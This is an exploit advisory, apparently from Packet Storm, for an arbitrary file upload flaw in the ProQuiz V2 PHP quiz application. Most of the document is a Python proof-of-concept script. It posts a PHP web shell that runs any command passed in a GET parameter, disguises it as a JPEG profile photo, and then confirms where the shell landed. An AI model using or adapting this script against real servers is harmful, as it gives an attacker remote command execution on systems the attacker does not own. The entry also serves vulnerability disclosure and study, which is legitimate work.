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ProQuiz 2 Shell Upload

🗓️ 22 Feb 2011 00:00:00Reported by AutoSec ToolsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

ProQuiz V2 Arbitrary Upload vulnerability allows upload of PHP shell

Code
`# ------------------------------------------------------------------------  
# Software................ProQuiz V2  
# Vulnerability...........Arbitrary Upload  
# Download................http://proquiz.softon.org/  
# Release Date............2/20/2011  
# Tested On...............Windows Vista + XAMPP  
# ------------------------------------------------------------------------  
# Author..................AutoSec Tools  
# Site....................http://www.autosectools.com/  
# ------------------------------------------------------------------------  
#   
# --Description--  
#   
# An arbitrary upload vulnerability in ProQuiz V2 can be exploited to  
# upload a PHP shell.  
#   
#   
# --PoC--  
import socket  
  
host = 'localhost'  
path = '/proquizv2b'  
shell_path = path + '/images/upload/users/.php'  
port = 80  
  
def upload_shell():  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
s.settimeout(8)   
  
s.send('POST ' + path + '/functions.php?action=edit_profile&type=other HTTP/1.1\r\n'  
'Host: localhost\r\n'  
'Connection: keep-alive\r\n'  
'Referer: http://localhost/proquizv2b/my_account.php?action=getpage&page=edit_profile&type=other\r\n'  
'Content-Length: 718\r\n'  
'Cache-Control: max-age=0\r\n'  
'Origin: http://localhost\r\n'  
'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.82 Safari/534.16\r\n'  
'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'  
'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'  
'Accept-Encoding: gzip,deflate,sdch\r\n'  
'Accept-Language: en-US,en;q=0.8\r\n'  
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'  
'\r\n'  
'------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'  
'Content-Disposition: form-data; name="fname"\r\n'  
'\r\n'  
'test\r\n'  
'------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'  
'Content-Disposition: form-data; name="lname"\r\n'  
'\r\n'  
'test\r\n'  
'------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'  
'Content-Disposition: form-data; name="profile"\r\n'  
'\r\n'  
'\r\n'  
'------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'  
'Content-Disposition: form-data; name="dob"\r\n'  
'\r\n'  
'10/10/10\r\n'  
'------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'  
'Content-Disposition: form-data; name="gender"\r\n'  
'\r\n'  
'm\r\n'  
'------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'  
'Content-Disposition: form-data; name="photo"; filename="shell.php"\r\n'  
'Content-Type: image/jpeg\r\n'  
'\r\n'  
'<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'  
'------WebKitFormBoundary4IQJE6qsLBAizBLu--\r\n')  
  
resp = s.recv(8192)  
  
http_redirect = 'HTTP/1.1 302'  
http_ok = 'HTTP/1.1 200'  
  
if http_redirect not in resp[:len(http_redirect)]:  
print 'error uploading shell'  
return  
else: print 'shell uploaded'  
  
s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\  
'Host: ' + host + '\r\n\r\n')  
  
if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'   
else: print 'shell located at http://' + host + shell_path  
  
upload_shell()  
`

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